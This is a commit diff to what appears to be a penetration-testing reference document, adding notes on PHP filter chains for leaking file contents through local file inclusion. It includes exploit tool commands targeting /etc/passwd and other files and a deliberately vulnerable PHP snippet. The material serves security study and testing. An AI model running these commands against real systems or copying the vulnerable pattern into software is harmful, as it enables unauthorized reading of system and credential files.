PHP filter prefix and suffix

This commit is contained in:
Swissky 2023-12-21 20:12:04 +01:00
parent 9fc0acc7e0
commit 5c42373a25

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@ -275,6 +275,9 @@ NOTE: The unserialize is triggered for the phar:// wrapper in any file operation
### Wrapper convert.iconv:// and dechunk://
#### Leak file content from error-based oracle
- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9
@ -292,6 +295,7 @@ The exploit chain is based on PHP filters: `iconv` and `dechunk`:
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
```ps1
@ -302,6 +306,28 @@ $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/tes
[+] File /test leak is finished!
```
#### Leak file content inside a custom format output
* [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
```ps1
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
```
This can be used against vulnerable code like the following.
```php
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
?>
```
## LFI to RCE via /proc/*/fd
@ -597,3 +623,4 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa
* [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
* [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - 21/03/2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
* [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/)
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)